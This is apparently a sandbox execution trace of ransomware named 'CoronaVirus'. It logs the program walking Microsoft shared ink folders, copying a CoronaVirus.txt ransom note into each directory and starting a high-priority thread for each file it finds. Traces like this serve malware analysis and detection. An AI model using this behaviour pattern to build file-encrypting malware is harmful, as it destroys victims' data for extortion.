	[0083.973] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.973] malloc (_Size=0x1000) returned 0x2f757b0
	[0083.973] _swprintf (in: param_1=0x2f757b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0083.973] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.973] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", _SubStr="wasse") returned 0x0
	[0083.974] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", _SubStr="passw") returned 0x0
	[0083.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f757b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0083.974] SetThreadPriority (hThread=0x5b8, nPriority=15) returned 1
	[0083.976] malloc (_Size=0x1000) returned 0x2f757b0
	[0083.976] _swprintf (in: param_1=0x2f757b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0083.976] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.976] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", _SubStr="wasse") returned 0x0
	[0083.976] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", _SubStr="passw") returned 0x0
	[0083.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f757b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4
	[0083.977] SetThreadPriority (hThread=0x5b4, nPriority=15) returned 1
	[0083.978] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.982] _alloca_probe () returned 0x4036d0
	[0083.982] malloc (_Size=0x1000) returned 0x2f757b0
	[0083.982] _swprintf (in: param_1=0x2f757b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\CoronaVirus.txt") returned 88
	[0083.982] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.982] malloc (_Size=0x1000) returned 0x2f767b8
	[0083.983] _swprintf (in: param_1=0x2f767b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0083.983] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.983] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", _SubStr="wasse") returned 0x0
	[0083.983] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", _SubStr="passw") returned 0x0
	[0083.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f767b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0083.983] SetThreadPriority (hThread=0x5c0, nPriority=15) returned 1
	[0083.985] malloc (_Size=0x1000) returned 0x2f767b8
	[0083.985] _swprintf (in: param_1=0x2f767b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0083.985] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.985] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", _SubStr="wasse") returned 0x0
	[0083.985] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", _SubStr="passw") returned 0x0
	[0083.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f767b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4
	[0083.986] SetThreadPriority (hThread=0x5c4, nPriority=15) returned 1
	[0083.988] malloc (_Size=0x1000) returned 0x2f767b8
	[0083.988] _swprintf (in: param_1=0x2f767b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84
	[0083.988] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.988] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", _SubStr="wasse") returned 0x0
	[0083.988] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", _SubStr="passw") returned 0x0
	[0083.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f767b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0083.988] SetThreadPriority (hThread=0x5c8, nPriority=15) returned 1
	[0083.991] malloc (_Size=0x1000) returned 0x2f767b8
	[0083.991] _swprintf (in: param_1=0x2f767b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0083.991] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.991] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", _SubStr="wasse") returned 0x0
	[0083.991] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", _SubStr="passw") returned 0x0
	[0083.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f767b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc
	[0083.991] SetThreadPriority (hThread=0x5bc, nPriority=15) returned 1
	[0083.993] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.998] _alloca_probe () returned 0x4036d0
	[0083.999] malloc (_Size=0x1000) returned 0x2f767b8
	[0083.999] _swprintf (in: param_1=0x2f767b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\CoronaVirus.txt") returned 72
	[0083.999] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.999] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.001] _alloca_probe () returned 0x4036d0
	[0084.001] malloc (_Size=0x1000) returned 0x2f777c0
	[0084.002] _swprintf (in: param_1=0x2f777c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\CoronaVirus.txt") returned 72
	[0084.002] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.002] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.004] _alloca_probe () returned 0x4036d0
	[0084.004] malloc (_Size=0x1000) returned 0x2f787c8
	[0084.004] _swprintf (in: param_1=0x2f787c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\CoronaVirus.txt") returned 72
	[0084.004] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.004] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.007] _alloca_probe () returned 0x4036d0
	[0084.007] malloc (_Size=0x1000) returned 0x2f797d0
	[0084.007] _swprintf (in: param_1=0x2f797d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\CoronaVirus.txt") returned 83
	[0084.007] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.007] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.007] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0084.007] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.007] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", _SubStr="wasse") returned 0x0
	[0084.007] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", _SubStr="passw") returned 0x0
	[0084.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0084.008] SetThreadPriority (hThread=0x53c, nPriority=15) returned 1
	[0084.010] malloc (_Size=0x1000) returned 0x2f7b7e0
	[0084.010] _swprintf (in: param_1=0x2f7b7e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0084.010] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.010] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", _SubStr="wasse") returned 0x0
	[0084.010] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", _SubStr="passw") returned 0x0
	[0084.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7b7e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc
	[0084.012] SetThreadPriority (hThread=0x5cc, nPriority=15) returned 1
	[0084.014] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.014] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0084.014] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.014] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", _SubStr="wasse") returned 0x0
	[0084.014] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", _SubStr="passw") returned 0x0
	[0084.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0084.015] SetThreadPriority (hThread=0x5d0, nPriority=15) returned 1
	[0084.017] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.017] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0084.017] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.017] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", _SubStr="wasse") returned 0x0
	[0084.017] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", _SubStr="passw") returned 0x0
	[0084.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4
	[0084.017] SetThreadPriority (hThread=0x5d4, nPriority=15) returned 1
	[0084.019] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.019] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0084.019] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.019] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", _SubStr="wasse") returned 0x0
	[0084.019] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", _SubStr="passw") returned 0x0
	[0084.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
	[0084.020] SetThreadPriority (hThread=0x5d8, nPriority=15) returned 1
	[0084.024] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.024] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0084.024] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.024] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", _SubStr="wasse") returned 0x0
	[0084.024] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", _SubStr="passw") returned 0x0
	[0084.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc
	[0084.025] SetThreadPriority (hThread=0x5dc, nPriority=15) returned 1
	[0084.027] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.027] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0084.027] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.027] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", _SubStr="wasse") returned 0x0
	[0084.027] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", _SubStr="passw") returned 0x0
	[0084.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0084.027] SetThreadPriority (hThread=0x5e0, nPriority=15) returned 1
	[0084.032] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.032] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0084.032] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.032] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", _SubStr="wasse") returned 0x0
	[0084.032] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", _SubStr="passw") returned 0x0
	[0084.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4
	[0084.033] SetThreadPriority (hThread=0x5e4, nPriority=15) returned 1
	[0084.034] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.035] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0084.035] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.035] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", _SubStr="wasse") returned 0x0
	[0084.035] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", _SubStr="passw") returned 0x0
	[0084.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8
	[0084.035] SetThreadPriority (hThread=0x5e8, nPriority=15) returned 1
	[0084.038] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.038] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0084.038] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.038] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", _SubStr="wasse") returned 0x0
	[0084.038] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", _SubStr="passw") returned 0x0
	[0084.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0084.038] SetThreadPriority (hThread=0x5ec, nPriority=15) returned 1
	[0084.040] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.040] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0084.040] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.040] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", _SubStr="wasse") returned 0x0
	[0084.040] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", _SubStr="passw") returned 0x0
	[0084.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0084.041] SetThreadPriority (hThread=0x5f0, nPriority=15) returned 1
	[0084.043] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.043] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0084.043] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.043] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", _SubStr="wasse") returned 0x0
	[0084.043] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", _SubStr="passw") returned 0x0
	[0084.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4
	[0084.043] SetThreadPriority (hThread=0x5f4, nPriority=15) returned 1
	[0084.045] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.045] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60
	[0084.045] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.046] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", _SubStr="wasse") returned 0x0
	[0084.046] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", _SubStr="passw") returned 0x0
	[0084.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0084.046] SetThreadPriority (hThread=0x5f8, nPriority=15) returned 1
	[0084.049] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.049] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60
	[0084.049] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.049] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", _SubStr="wasse") returned 0x0
	[0084.049] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", _SubStr="passw") returned 0x0
	[0084.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc
	[0084.050] SetThreadPriority (hThread=0x5fc, nPriority=15) returned 1
	[0084.051] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.051] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61
	[0084.051] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.051] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", _SubStr="wasse") returned 0x0
	[0084.052] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", _SubStr="passw") returned 0x0
	[0084.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600
	[0084.052] SetThreadPriority (hThread=0x600, nPriority=15) returned 1
	[0084.054] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.054] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60
	[0084.054] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.054] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", _SubStr="wasse") returned 0x0
	[0084.054] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", _SubStr="passw") returned 0x0
	[0084.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604
	[0084.054] SetThreadPriority (hThread=0x604, nPriority=15) returned 1
	[0084.056] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.056] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml") returned 61
	[0084.056] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.056] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", _SubStr="wasse") returned 0x0
	[0084.056] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", _SubStr="passw") returned 0x0
	[0084.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0084.057] SetThreadPriority (hThread=0x608, nPriority=15) returned 1
	[0084.058] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.059] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0084.059] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.059] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", _SubStr="wasse") returned 0x0
	[0084.059] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", _SubStr="passw") returned 0x0
	[0084.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c
	[0084.060] SetThreadPriority (hThread=0x60c, nPriority=15) returned 1
	[0084.062] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.062] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0084.062] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.062] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", _SubStr="wasse") returned 0x0
	[0084.062] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", _SubStr="passw") returned 0x0
	[0084.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0084.062] SetThreadPriority (hThread=0x610, nPriority=15) returned 1
